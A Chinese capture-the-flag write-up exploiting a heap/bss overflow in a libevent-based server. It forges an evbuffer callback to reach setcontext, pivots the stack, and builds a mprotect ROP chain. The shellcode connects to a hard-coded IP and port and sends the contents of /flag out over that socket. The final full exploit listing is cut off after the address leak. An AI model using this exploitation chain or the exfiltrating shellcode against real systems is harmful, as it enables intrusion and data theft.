ctf

SU_Ezbuff

题目分析

本题的附件包含pwn,libc.so.6和libevent-2.1.so.7.0.1

其中libevent-2.1.so.7.0.1包含了bufferevent相关的库函数

从pwn中可以看到main函数就是个请求分配器, 且开启了沙箱禁止命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int fd; // [rsp+Ch] [rbp-44h]
  struct sockaddr addr; // [rsp+20h] [rbp-30h] BYREF
  __int64 n2; // [rsp+30h] [rbp-20h]
  __int64 v7; // [rsp+38h] [rbp-18h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sandbox();                                    // 禁止execve和execvate
  qword_40B0 = event_base_new(a1, (__int64)a2);
  memset(&s_, 0, 0x70uLL);
  fd = socket(2, 2, 0);
  *(_QWORD *)&addr.sa_family = 2LL;
  *(_QWORD *)&addr.sa_data[6] = 0LL;
  *(_WORD *)addr.sa_data = htons(8889u);
  bind(fd, &addr, 0x10u);
  dword_4060 = 0;
  ::fd = fd;
  event_new(qword_40B0, fd, 18LL, (__int64)udp_ptr, (__int64)&s_);
  event_add();
  n2 = 2LL;
  v7 = 0LL;
  WORD1(n2) = htons(0x22B8u);
  evconnlistener_new_bind();
  event_base_dispatch(qword_40B0);
  return 0LL;
}

在8888端口为tcp连接, 8889为udp连接

tcp的处理函数和udp的处理函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 __fastcall tcp_ptr(__int64 a1, __int64 dest)
{
  int lenth; // edx
  char src[1032]; // [rsp+20h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+428h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  lenth = bufferevent_read(a1, src, 0x3FFuLL);
  handle(dest, src, lenth, 0LL);              // unk_4078
  return v5 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall udp_ptr(int fd, __int64 a2, __int64 dest)
{
  socklen_t addr_len; // [rsp+10h] [rbp-430h] BYREF
  int n; // [rsp+14h] [rbp-42Ch]
  __int64 desta; // [rsp+18h] [rbp-428h]
  sockaddr addr; // [rsp+20h] [rbp-420h] BYREF
  _BYTE buf[1032]; // [rsp+30h] [rbp-410h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  desta = dest;
  addr_len = 16;
  n = recvfrom(fd, buf, 0x3FFuLL, 0, &addr, &addr_len);
  handle(desta, buf, n, &addr);               // s
  return v9 - __readfsqword(0x28u);
}

可以发现都是接收了字节流后将其传入handle中 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
unsigned __int64 __fastcall handle(__int64 dest, _BYTE *src, int lenth, const struct sockaddr *addr)
{
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  __int64 v7; // rbx
  _QWORD *buf; // [rsp+28h] [rbp-78h]
  __int64 output; // [rsp+38h] [rbp-68h]
  char name[8]; // [rsp+40h] [rbp-60h] BYREF
  __int64 v14; // [rsp+48h] [rbp-58h]
  __int64 v15; // [rsp+50h] [rbp-50h]
  __int64 v16; // [rsp+58h] [rbp-48h]
  __int64 v17; // [rsp+60h] [rbp-40h]
  __int64 v18; // [rsp+68h] [rbp-38h]
  __int64 v19; // [rsp+70h] [rbp-30h]
  __int64 v20; // [rsp+78h] [rbp-28h]
  unsigned __int64 v21; // [rsp+88h] [rbp-18h]

  v21 = __readfsqword(0x28u);
  if ( lenth > 0 )
  {
    src[lenth] = 0;
    buf = malloc(0x50uLL);
    if ( buf )
    {
      memset(buf, 0, 0x50uLL);
      if ( inet_pton(2, src, (char *)buf + 4) )
      {
        *(_WORD *)buf = 2;
        gethostname(name, 0x40uLL);
        v4 = v14;
        buf[2] = *(_QWORD *)name;
        buf[3] = v4;
        v5 = v16;
        buf[4] = v15;
        buf[5] = v5;
        v6 = v18;
        buf[6] = v17;
        buf[7] = v6;
        v7 = v20;
        buf[8] = v19;
        buf[9] = v7;
        memcpy((void *)dest, src, lenth);
        if ( *(_DWORD *)(dest + 0x20) == 1 && *(_QWORD *)(dest + 0x28) )
        {
          output = bufferevent_get_output(*(_QWORD *)(dest + 0x28));// return *(_QWORD *)(a1 + 0x118);
          evbuffer_add_reference(output, (__int64)buf, 80LL, (__int64)Free, 0LL);
        }
        else
        {
          sendto(*(_DWORD *)(dest + 0x30), buf, 0x50uLL, 0, addr, 0x10u);
          free(buf);
        }
      }
      else
      {
        free(buf);
      }
    }
  }
  return v21 - __readfsqword(0x28u);
}

我们一眼就可以看到一个很明显的漏洞 : memcpy完全没有检查字节串长度; 长度由recv函数接收到的字节数决定

所以这里存在缓冲区溢出, 这里的dest通过交叉引用可以找到是两个bss上的变量

1
2
tcp->0x4078
udp->0x4040

我们大致就可以写出一下的py交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
HOST = "127.0.0.1"
TCP_PORT = 8888
UDP_PORT = 8889

def build_payload(ip_text: str, tail: bytes = b"") -> bytes:
    return ip_text.encode() + b"\x00" + tail

def recv_exact(io, n=0x50, timeout=1.0):
    data = b""
    while len(data) < n:
        chunk = io.recv(n - len(data), timeout=timeout)
        if not chunk:
            break
        data += chunk
    return data

def parse_reply(pkt: bytes):
    if len(pkt) < 0x50:
        return {"ok": False, "len": len(pkt), "raw": pkt}
    family = u16(pkt[0:2])
    ip_raw = pkt[4:8]
    ip_text = socket.inet_ntoa(ip_raw)
    hostname = pkt[0x10:0x50].split(b"\x00", 1)[0].decode(errors="ignore")
    return {
        "ok": True,
        "family": family,
        "ip": ip_text,
        "hostname": hostname,
        "raw": pkt,
    }

def tcp_query(payload: bytes, host=HOST, port=TCP_PORT, timeout=1.0):
    io = remote(host, port)
    io.send(payload)
    pkt = recv_exact(io, 0x50, timeout)
    return io, pkt

def udp_query(payload: bytes, host=HOST, port=UDP_PORT, timeout=1.0):
    u = remote(host, port, typ="udp")
    u.send(payload)
    pkt = u.recv(timeout=timeout)
    u.close()
    return pkt

调试

地址泄露

我们可以先随便打一发tcp和udp看看效果

1
2
3
4
io, pkt = tcp_query(build_payload("1.1.1.1"))
print("[tcp]", parse_reply(pkt))
pkt = udp_query(build_payload("8.8.8.8"))
print("[udp]", parse_reply(pkt))
1
2
3
4
5
6
[+] Opening connection to 127.0.0.1 on port 8888: Done
[tcp] {'ok': True, 'family': 2, 'ip': '1.1.1.1', 'hostname': 'zer00ne-VMware-Virtual-Platform', 'raw': b'\x02\x00\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00zer00ne-VMware-Virtual-Platform\x00\x08\x00\x00\x00\x00\x00\x00\x00\xff\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x8b\xf7\xf7\xff\x7f\x00\x00'}
[+] Opening connection to 127.0.0.1 on port 8889: Done
[*] Closed connection to 127.0.0.1 port 8889
[udp] {'ok': True, 'family': 2, 'ip': '8.8.8.8', 'hostname': 'zer00ne-VMware-Virtual-Platform', 'raw': b'\x02\x00\x00\x00\x08\x08\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00zer00ne-VMware-Virtual-Platform\x00p\xddUUUU\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xda\xff\xff\xff\x7f\x00\x00\x19VUUUU\x00\x00'}
[*] Paused (press any to continue)

可以看到得到的字节流中出现了很多比较敏感的数据

大致可以发现包含libc地址\x1a\x8b\xf7\xf7\xff\x7f ; pie偏移\x19VUUUU

我们可以接收这两个地址, 计算出pwn 的基地址, libc.so.6的基地址和libevent-2.1.so.7.0.1

我们通过gdb调试, 使用search -p <ptr>可以找到这几个地址是从哪里得到的

1
2
3
4
5
pwndbg> search -p 0x7ffff7f78b1a
Searching for a pointer-width integer: b'\x1a\x8b\xf7\xf7\xff\x7f\x00\x00'
[heap]          0x55555555c2e8 0x7ffff7f78b1a (evbuffer_remove+74)
[stack]         0x7fffffffd4e8 0x7ffff7f78b1a (evbuffer_remove+74)
[stack]         0x7fffffffd598 0x7ffff7f78b1a (evbuffer_remove+74)

fake_obj构造

pwn分析

现在观察handle函数的结构, 可以发现udp连接只会调用sendto, 排除法就可以知道内存破坏相关位于tcp处理中

也就是进入这个条件判断if ( *(_DWORD *)(dest + 0x20) == 1 && *(_QWORD *)(dest + 0x28) )

此时我们还要用IDA同时分析libevent-2.1.so.7.0.1, 可以发现payload要满足以下结构

  1. 头部包含一个IPV4类型的地址
  2. 0x20偏移处解引用后为1
  3. 0x28偏移处解引用后不为0

最终bufferevent_get_output会返回偏移为0x28处指针的解引用后+0x118内对于的值

然后传入evbuffer_add_reference中

据此我们可以构造出前半段payload的结构

1
payload=p64(pie+0x4040+0x80)+p64(1)*3+p64(pie+0x4040+0x80-0x118)+p64(0)*3+p64(pie+0x40c8)+payload

此时被传入evbuffer_add_reference的一参就是结尾的payload

libevent-2.1.so.7.0.1.so分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall evbuffer_add_reference(fake_evbuffer *output, char *buf, int a1, __int64 a4, int a2)
{
  __int64 v6; // r12
  __int64 v7; // rbx
  _OWORD *ptr_1; // rax
  __int64 v9; // rdx
  void *ptr; // rbp
  unsigned int v11; // r12d
  __int64 v12; // rdx
  __int64 v13; // rcx

  v6 = *(_QWORD *)&a2;
  v7 = *(_QWORD *)&a1;
  ptr_1 = sub_E620(0x10uLL);
  if ( ptr_1 )
  {
    *((_DWORD *)ptr_1 + 8) |= 0xCu;
    ptr = ptr_1;
    *((_QWORD *)ptr_1 + 5) = buf;
    *((_QWORD *)ptr_1 + 1) = v7;
    *((_QWORD *)ptr_1 + 3) = v7;
    *((_QWORD *)ptr_1 + 6) = a4;
    *((_QWORD *)ptr_1 + 7) = v6;
    if ( output->lock )                         // pass
      evthread_lock_fns_[3](0LL);
    if ( (output->flags & 4) != 0 )
    {
      v11 = -1;
      event_mm_free_(ptr);
    }
    else
    {
      v11 = 0;
      sub_EE50(output, (__int64)ptr, v9);
      output->n_add_for_cb += v7;
      evbuffer_invoke_callbacks_(output, (__int64)ptr, v12, v13);
    }
    if ( output->lock )
      evthread_lock_fns_[4](0LL);
  }
  else
  {
    return (unsigned int)-1;
  }
  return v11;
}

几乎可以确定漏洞就在evbuffer_add_reference中, 我们仔细梳理这个函数的逻辑, 恢复结构体后可以发现

  1. 存在三种结构体, 包括了链表结构
  2. 存在函数指针, 且可以被我们控制

恢复出的结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
00000000 struct fake_deferred_cb // sizeof=0x28
00000000 {                                       // XREF: fake_evbuffer/r
00000000     void *queue_next;
00000008     void *queue_prev;
00000010     unsigned __int8 priority;
00000011     unsigned __int8 flags;
00000012     unsigned __int8 pad12[6];
00000018     void (*cb)(void *, void *);
00000020     void *arg;
00000028 };
00000028 #pragma pack(pop)

00000000 #pragma pack(push, 8)
00000000 struct fake_evbuffer_cb_entry // sizeof=0x28
00000000 {
00000000     struct fake_evbuffer_cb_entry *next;
00000008     void *prev_nextp;
00000010     void *cb_func;
00000018     void *cbarg;
00000020     unsigned int flags;
00000024     unsigned int pad24;
00000028 };
00000028 #pragma pack(pop)

00000000 #pragma pack(push, 8)
00000000 struct fake_evbuffer // sizeof=0x88
00000000 {
00000000     void *first;
00000008     void *last;
00000010     void *last_with_datap;
00000018     unsigned __int64 total_len;
00000020     unsigned __int64 n_add_for_cb;
00000028     unsigned __int64 n_del_for_cb;
00000030     void *lock;
00000038     unsigned __int8 flags;
00000039     unsigned __int8 pad39[7];
00000040     void *deferred_cb_queue;
00000048     unsigned int refcnt;
0000004C     unsigned int pad4c;
00000050     fake_deferred_cb deferred;
00000078     fake_evbuffer_cb_entry *callbacks;
00000080     void *parent;
00000088 };
00000088 #pragma pack(pop)

00000000 #pragma pack(push, 8)
00000000 struct fake_evbuffer_chain_ref // sizeof=0x40
00000000 {
00000000     struct fake_evbuffer_chain_ref *next;
00000008     unsigned __int64 buffer_len;
00000010     unsigned __int64 misalign;
00000018     unsigned __int64 off;
00000020     unsigned int flags;
00000024     unsigned int refcnt;
00000028     void *buffer;
00000030     void *cleanup_cb;
00000038     void *cleanup_arg;
00000040 };
00000040 #pragma pack(pop)

其中我们输入的结构体为fake_evbuffer类型, 其余的结构体通过.so借助我们输入的内容进行生成

函数指针的调用链路为

1
evbuffer_add_reference -> evbuffer_invoke_callbacks_ -> sub_EF40 -> cb_func

我们还需要绕过几个函数的检查, 确保不会被exit

sub_EE50绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall sub_EE50(fake_evbuffer *ptr_1, __int64 last, __int64 a3)
{
  void *lock; // rdi
  fake_evbuffer *ptr; // rdi
  _QWORD *last_with_datap; // rax
  __int64 result; // rax

  lock = ptr_1->lock;
  if ( lock && evthread_lock_debugging_enabled_[0] && !(unsigned int)evthread_is_debug_lock_held_((__int64)lock) )
    event_errx(0xDEADDEAD, (__int64)&iovec);
  ptr = (fake_evbuffer *)ptr_1->last_with_datap;
  if ( ptr->first )
  {
    last_with_datap = sub_3CFF0(ptr, last, a3);
    *last_with_datap = last;
    if ( *(_QWORD *)(last + 0x18) )
      ptr_1->last_with_datap = last_with_datap;
    ptr_1->last = (void *)last;
    result = *(_QWORD *)(last + 0x18);
    ptr_1->total_len += result;
  }
  else
  {
    if ( ptr != ptr_1 )
      event_errx(0xDEADDEAD, (__int64)&iovec);
    ptr_1->last = (void *)last;
    ptr_1->first = (void *)last;
    result = *(_QWORD *)(last + 0x18);
    ptr_1->total_len += result;
  }
  return result;
}

我们遵循最短路径原则, 尽量不调用更多函数, 就要走入else分支

这需要满足条件

  1. ptr == ptr_1
  2. ptr->first==null

由于伪造结构体的前几个字段

1
2
3
4
5
obj = flat({
    # fake evbuffer
    0x00: p64(0),                   # first = NULL
    0x08: p64(0),                   # last = NULL
    0x10: p64(fake_output),         # last_with_datap = self

锁绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall evbuffer_invoke_callbacks_(fake_evbuffer *output, __int64 a2, __int64 a3, __int64 a4)
{
  void *parent; // rdi

  if ( output->callbacks )
  {
    if ( (output->flags & 8) != 0
      && (unsigned int)event_deferred_cb_schedule_(
                         (__int64)output->deferred_cb_queue,
                         (__int64)&output->deferred,
                         a3,
                         a4) )
    {
      evbuffer_incref_and_lock_((__int64)output);
      parent = output->parent;
      if ( parent )
        bufferevent_incref((__int64)parent);
      if ( output->lock )
        evthread_lock_fns_[4](0LL);
    }
    sub_EF40((__int64)output, 0);
  }
  else
  {
    output->n_del_for_cb = 0LL;
    output->n_add_for_cb = 0LL;
  }
}

如果不想进入上方复杂函数处理, 我们需要让flag字段不满足if条件

进入sub_EF40后, 因为a2恒为0,所以n3恒为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
unsigned __int64 __fastcall sub_EF40(fake_evbuffer *output, _BOOL4 a2)
{
  _BOOL4 v3; // r13d
  int n3_1; // r15d
  int n3; // r14d
  void *lock; // rdi
  fake_evbuffer_cb_entry *callbacks; // rbx
  unsigned __int64 n_add_for_cb; // rdx
  unsigned __int64 n_del_for_cb; // rax
  unsigned __int64 total_len; // r12
  fake_evbuffer_cb_entry *callbacks_1; // rax
  unsigned int flags; // edx
  void (__fastcall *cb_func)(fake_evbuffer *, _QWORD, unsigned __int64, void *); // r8
  _QWORD v15[3]; // [rsp+0h] [rbp-58h] BYREF
  unsigned __int64 v16; // [rsp+18h] [rbp-40h]

  v16 = __readfsqword(0x28u);
  if ( a2 )
  {
    v3 = a2;
    n3_1 = 1;
    n3 = 3;
  }
  else
  {
    v3 = (output->flags & 8) == 0;
    n3_1 = (output->flags & 8) == 0 ? 1 : 3;
    n3 = n3_1;
  }
  lock = output->lock;
  if ( lock && evthread_lock_debugging_enabled_[0] && !(unsigned int)evthread_is_debug_lock_held_((__int64)lock) )
    event_errx(0xDEADDEAD, (__int64)&iovec);
  callbacks = output->callbacks;
  if ( callbacks )
  {
    n_add_for_cb = output->n_add_for_cb;
    n_del_for_cb = output->n_del_for_cb;
    if ( *(_OWORD *)&output->n_add_for_cb != 0LL )
    {
      total_len = output->total_len;
      v15[1] = output->n_add_for_cb;
      v15[2] = n_del_for_cb;
      v15[0] = total_len + n_del_for_cb - n_add_for_cb;
      if ( v3 )
      {
        output->n_add_for_cb = 0LL;
        output->n_del_for_cb = 0LL;
      }
      while ( 1 )
      {
        callbacks_1 = callbacks;
        callbacks = callbacks->next;
        flags = callbacks_1->flags;
        if ( (n3 & flags) != n3_1 )
          goto LABEL_11;
        cb_func = (void (__fastcall *)(fake_evbuffer *, _QWORD, unsigned __int64, void *))callbacks_1->cb_func;
        if ( (flags & 0x40000) != 0 )
        {
          cb_func(output, v15[0], total_len, callbacks_1->cbarg);
LABEL_11:
          if ( !callbacks )
            return v16 - __readfsqword(0x28u);
        }
        else
        {
          ((void (__fastcall *)(fake_evbuffer *, _QWORD *, void *))cb_func)(output, v15, callbacks_1->cbarg);
          if ( !callbacks )
            return v16 - __readfsqword(0x28u);
        }
      }
    }
  }
  else
  {
    output->n_del_for_cb = 0LL;
    output->n_add_for_cb = 0LL;
  }
  return v16 - __readfsqword(0x28u);
}

可以看到如果(n3 & flags) != n3_1, 也就是我们的flags字段的最低位必须为1, 否则会退出函数

最后总结出obj需基于以下生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
fake_output=pie+0x40c8
fake_cb=fake_output+0x88
target=target
cb_arg=pie+0x40c8+0xf0+0x50
obj = flat({
    # fake evbuffer
    0x00: p64(0),                   # first = NULL
    0x08: p64(0),                   # last = NULL
    0x10: p64(fake_output),         # last_with_datap = self
    0x18: p64(0),                   # total_len
    0x20: p64(0),                   # n_add_for_cb
    0x28: p64(0),                   # n_del_for_cb
    0x30: p64(0),                   # lock = NULL
    0x38: p64(0),                   # flags + padding，别开 deferred
    0x40: p64(0),                   # deferred_cb_queue = NULL
    0x48: p32(1) + p32(0),          # refcnt = 1
    0x50: b'\x00' * 0x28,           # fake_deferred_cb，先全 0
    0x78: p64(fake_cb),             # callbacks = &fake_cb
    0x80: p64(0),                   # parent = NULL

    0x88: p64(0),                   # next = NULL
    0x90: p64(fake_output + 0x78),  # prev_nextp
    0x98: p64(target),              # cb_func
    0xA0: p64(cb_arg),              # cbarg
    0xA8: p64(1)
}, filler=b'\x00')

此时我们经过调试可以确认, 我们拥有一次任意跳转的机会, 跳转到target上

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Breakpoint 1, 0x00007ffff7f73ff2 in ?? () from ./libevent-2.1.so.7.0.1
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
*RAX  0x555555558150 ◂— 0
 RBX  0
*RCX  0x555555558208 —▸ 0x5555555553a3 ◂— ret 
*RDX  0x50
*RDI  0x5555555580c8 —▸ 0x55555555dec0 ◂— 0
*RSI  0
*R8   0x7ffff7c539e0 (setcontext) ◂— endbr64 
*R9   4
*R10  0
 R11  0x246
*R12  0x50
*R13  0x7fffffffd480 ◂— 0
*R14  1
*R15  1
*RBP  0x5555555580c8 —▸ 0x55555555dec0 ◂— 0
*RSP  0x7fffffffd480 ◂— 0
*RIP  0x7ffff7f73ff2 ◂— call r8
──────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────
 ► 0x7ffff7f73ff2    call   r8                          <setcontext>
        ucp: 0x5555555580c8 —▸ 0x55555555dec0 ◂— 0
 
   0x7ffff7f73ff5    test   rbx, rbx
   0x7ffff7f73ff8    je     0x7ffff7f74030              <0x7ffff7f74030>
 
   0x7ffff7f73ffa    mov    rax, rbx
   0x7ffff7f73ffd    mov    rbx, qword ptr [rbx]
   0x7ffff7f74000    mov    edx, dword ptr [rax + 0x20]
   0x7ffff7f74003    mov    ecx, edx
   0x7ffff7f74005    and    ecx, r14d
   0x7ffff7f74008    cmp    ecx, r15d
   0x7ffff7f7400b    jne    0x7ffff7f73ff5              <0x7ffff7f73ff5>
 
   0x7ffff7f7400d    and    edx, 0x40000
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────
00:0000│ r13 rsp 0x7fffffffd480 ◂— 0
01:0008│         0x7fffffffd488 ◂— 0x50 /* 'P' */
02:0010│         0x7fffffffd490 ◂— 0
03:0018│         0x7fffffffd498 ◂— 0xa6d8d54c83c3ff00
04:0020│         0x7fffffffd4a0 ◂— 0x6f6e280000000000
05:0028│         0x7fffffffd4a8 ◂— 0x50 /* 'P' */
06:0030│         0x7fffffffd4b0 —▸ 0x55555555dec0 ◂— 0
07:0038│         0x7fffffffd4b8 ◂— 0
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────
 ► 0   0x7ffff7f73ff2 None
   1   0x7ffff7f75d35 evbuffer_add_reference+133
   2   0x555555555533 None
   3   0x555555555619 None
   4   0x7ffff7f7a2dc bufferevent_run_readcb_+44
   5   0x7ffff7f7ce3c None
   6   0x7ffff7f84f58 None
   7   0x7ffff7f868a7 event_base_loop+1399
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

通过栈帧图 , 可以分析到, 很难通过单个的gadget进行栈迁移

因为这里的寄存器中大多存储着obj的起始地址, 而前几个字段是不能动的(会被evbuffer_add_reference填上堆地址) , 包括rdi

由于libc版本为2.35, 可以联想到setcontext, 我们逆向以下libc.so.6可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00000000000539E0 setcontext      proc near               ; CODE XREF: sub_5A0C0+80↓p
.text:00000000000539E0                                         ; DATA XREF: LOAD:0000000000006AB0↑o
.text:00000000000539E0 ; __unwind {
.text:00000000000539E0                 endbr64
.text:00000000000539E4                 push    rdi
.text:00000000000539E5                 lea     rsi, [rdi+128h] ; nset
.text:00000000000539EC                 xor     edx, edx        ; oset
.text:00000000000539EE                 mov     edi, 2          ; how
.text:00000000000539F3                 mov     r10d, 8         ; sigsetsize
.text:00000000000539F9                 mov     eax, 0Eh
.text:00000000000539FE                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000053A00                 pop     rdx
.text:0000000000053A01                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000053A07                 jnb     loc_53B2F
.text:0000000000053A0D                 mov     rcx, [rdx+0E0h]
.text:0000000000053A14                 fldenv  byte ptr [rcx]
.text:0000000000053A16                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000053A1D                 mov     rsp, [rdx+0A0h]
.text:0000000000053A24                 mov     rbx, [rdx+80h]
.text:0000000000053A2B                 mov     rbp, [rdx+78h]
.text:0000000000053A2F                 mov     r12, [rdx+48h]
.text:0000000000053A33                 mov     r13, [rdx+50h]
.text:0000000000053A37                 mov     r14, [rdx+58h]
.text:0000000000053A3B                 mov     r15, [rdx+60h]
.text:0000000000053A3F                 test    dword ptr fs:48h, 2
.text:0000000000053A4B                 jz      loc_53B06
.text:0000000000053A51                 mov     rsi, [rdx+3A8h]
.text:0000000000053A58                 mov     rdi, rsi
.text:0000000000053A5B                 mov     rcx, [rdx+3B0h]
.text:0000000000053A62                 cmp     rcx, fs:78h

这里是通过rdi设置寄存器(包括rsp)的, 且偏移较大, 几乎在obj的末尾或者obj的高地址处

于是我们就可以开始构造

1
2
.text:0000000000053A14                 fldenv  byte ptr [rcx]
.text:0000000000053A16                 ldmxcsr dword ptr [rdx+1C0h]

绕过这两个汇编片段需要rcx为一个可读可写的地址, 且里面的值最好为0

最终可以将rsp迁到bss上, 但唯一美中不足的是存在一个push rcx;...ret的过程, 而rcx对应的位置恰好和flags字段重合

而flags字段必须满足末尾为1

解决方法就是找到一个末尾为1的ret地址写入flags字段 , 我选择的是

1
.text:00000000000013A3                 retn

此时我们就可以在obj的高地址处布置ROP链, 不想计算精确的偏移可以垫几个ret划过去

ROP2shellcode

ROP的构造很轻松, 找到控制寄存器的gadget后调用一次mprotect将bss段变为rwx

1
2
3
4
5
rdi=base+0x000000000000d879
rsi=base+0x000000000000d2e5
rdx=base+0x00000000000339dd#pop rdx ; pop rbx ; pop rbp ; pop r12 ; ret
mprotect=Libc+libc.sym.mprotect
rop=p64(rdi)+p64(fake_output&~0xfff)+p64(rsi)+p64(0x5000)+p64(rdx)+p64(7)*4+p64(mprotect)

然后在rop末尾加上

1
p64(Libc+0x2b78e) : call rsp

接着在rop末尾写shellcode就可以了

因为这道题使用了socket连接, 我们必须使用内网穿透(本地我就不演示了)获得一个公网IP, 然后open+socket+connect+sendfile将flag发送过去, 具体的原理见 ezshellcode部分

这里给出板子和效果图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
sc  = asm("jmp $+0x100") + b'\x00'*0xf0 + b'\x90'*0x10(这里的长跳跃是因为会和obj的一些字段搅在一起报错,最好跳出obj)
sc += asm(r'''
    xor esi, esi
    mul rsi
    inc esi
    mov edi, esi
    inc edi
    mov al, 41
    syscall

    mov edi, eax
    xor eax, eax
    push rax
    mov rbx, 0x8089A8C05C110002
    push rbx
    mov rsi, rsp
    mov edx, 16
    mov al, 42
    syscall

    xor esi, esi
    mov al, 33
    syscall
    inc esi
    mov al, 33
    syscall
    inc esi
    mov al, 33
    syscall

    xor eax, eax
    push rax
    mov rbx, 0x67616c662f
    push rbx
    mov rdi, rsp
    xor esi, esi
    xor edx, edx
    mov eax, 2
    syscall

    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall

    mov edx, eax
    mov rsi, rsp
    mov edi, 1
    mov eax, 1
    syscall

over:
    xor edi, edi
    mov eax, 60
    syscall
''')

shellcode=sc
1
2
3
4
zer00ne@zer00ne-VMware-Virtual-Platform:~/desktop/SUCTF/work/evbuff$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.137.128 34180
flag{evbuff}

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
from pwn import *
import socket
libc=ELF('./libc.so.6')
context.log_level = "info"
context.arch='amd64'
HOST = "127.0.0.1"
TCP_PORT = 8888
UDP_PORT = 8889

def build_payload(ip_text: str, tail: bytes = b"") -> bytes:
    return ip_text.encode() + b"\x00" + tail

def recv_exact(io, n=0x50, timeout=1.0):
    data = b""
    while len(data) < n:
        chunk = io.recv(n - len(data), timeout=timeout)
        if not chunk:
            break
        data += chunk
    return data

def parse_reply(pkt: bytes):
    if len(pkt) < 0x50:
        return {"ok": False, "len": len(pkt), "raw": pkt}
    family = u16(pkt[0:2])
    ip_raw = pkt[4:8]
    ip_text = socket.inet_ntoa(ip_raw)
    hostname = pkt[0x10:0x50].split(b"\x00", 1)[0].decode(errors="ignore")
    return {
        "ok": True,
        "family": family,
        "ip": ip_text,
        "hostname": hostname,
        "raw": pkt,
    }

def tcp_query(payload: bytes, host=HOST, port=TCP_PORT, timeout=1.0):
    io = remote(host, port)
    io.send(payload)
    pkt = recv_exact(io, 0x50, timeout)
    return io, pkt  

def udp_query(payload: bytes, host=HOST, port=UDP_PORT, timeout=1.0):
    u = remote(host, port, typ="udp")
    u.send(payload)
    pkt = u.recv(timeout=timeout) 
    u.close()
    return pkt
io, pkt = tcp_query(build_payload("1.1.1.1"))
base=u64(pkt[-8:])-0x13b1a
Libc=base-0x365000
print("[tcp]", parse_reply(pkt))
print("\n\n\n\n")
print(hex(base+0x13b1a))
#pause()
